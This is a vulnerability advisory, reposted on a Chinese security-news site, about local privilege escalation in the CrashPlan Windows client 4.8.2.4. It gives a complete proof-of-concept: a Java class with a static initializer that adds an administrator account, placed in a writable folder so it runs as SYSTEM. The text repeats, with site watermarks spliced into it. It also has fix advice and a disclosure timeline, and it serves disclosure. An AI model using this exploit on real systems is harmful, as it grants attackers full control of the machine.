欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Crashplan Windows客户端本地提权漏洞

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。
根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。

其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。

有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。

因此,可以删除恶意文件。为了利用它,我构建了以下Java类:
package org.slf4j.ext;
import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;
/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 *
 * @author Ralph Goers
 */
public class EventData implements Serializable {
  static
    {
    try {
      Runtime rt = Runtime.getRuntime();
      Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
    } catch (Exception e) {
            e.printStackTrace();
        }
    }
    /**
     * Default Constructor
     */
    public EventData() {
    }
}
要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:
javac EventData.java
最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中

系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。

修复建议
尽快将漏洞版本升级为最新版。
Timeline
2017.5.18:漏洞确认
2017.5.22:记录并通知厂商
2017.5.25:厂商确认漏洞并紧急修复
2017.6.13:修复版发布。并发布了相关说明。
2018.2.15:公开披露
 

本文是关于CrashPlan Windows客户端4.8.2.4版本,存在本地提权漏洞的相关通报及技术分析。该漏洞可被本地任意用户所滥用,并获取对操作系统的全面控制权限。当前,该漏洞已在完全修复的英文版Windows 7 x64上进行了验证。
根本问题在于Windows服务“CrashPlan备份服务”从不安全的文件系统位置C:\ProgramData\CrashPlan中加载和执行文件。

其中,Java Class文件被搜索并最终从那里被加载。这会导致CLASS side-loading漏洞。

有关此文件夹的特殊情况是默认文件系统ACL,它允许任意本地用户追加新的文件。

无奈人生安全网

因此,可以删除恶意文件。为了利用它,我构建了以下Java类:
package org.slf4j.ext;
import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;
/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 *
 * @author Ralph Goers
 */
public class EventData implements Serializable {
  static
    {
    try {
      Runtime rt = Runtime.getRuntime();
      Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\""); 内容来自无奈安全网
    } catch (Exception e) {
            e.printStackTrace();
        }
    }
    /**
     * Default Constructor
     */
    public EventData() {
    }
}
要注入自己的命令,我们利用Java静态初始化程序。这些在JVM加载类后会被立即执行。编译它只需使用javac:
javac EventData.java
最后,将编译的Java类文件放入待创建的文件夹C:\ProgramData\CrashPlan\lang\org\slf4j\ext中

系统重启后,此Java类将被加载,我们的代码将以SYSTEM权限被执行。在这个例子中,攻击者在操作系统添加了一个本地管理员账户。

内容来自无奈安全网



修复建议
尽快将漏洞版本升级为最新版。
Timeline
2017.5.18:漏洞确认
2017.5.22:记录并通知厂商
2017.5.25:厂商确认漏洞并紧急修复
2017.6.13:修复版发布。并发布了相关说明。
2018.2.15:公开披露
 
内容来自无奈安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。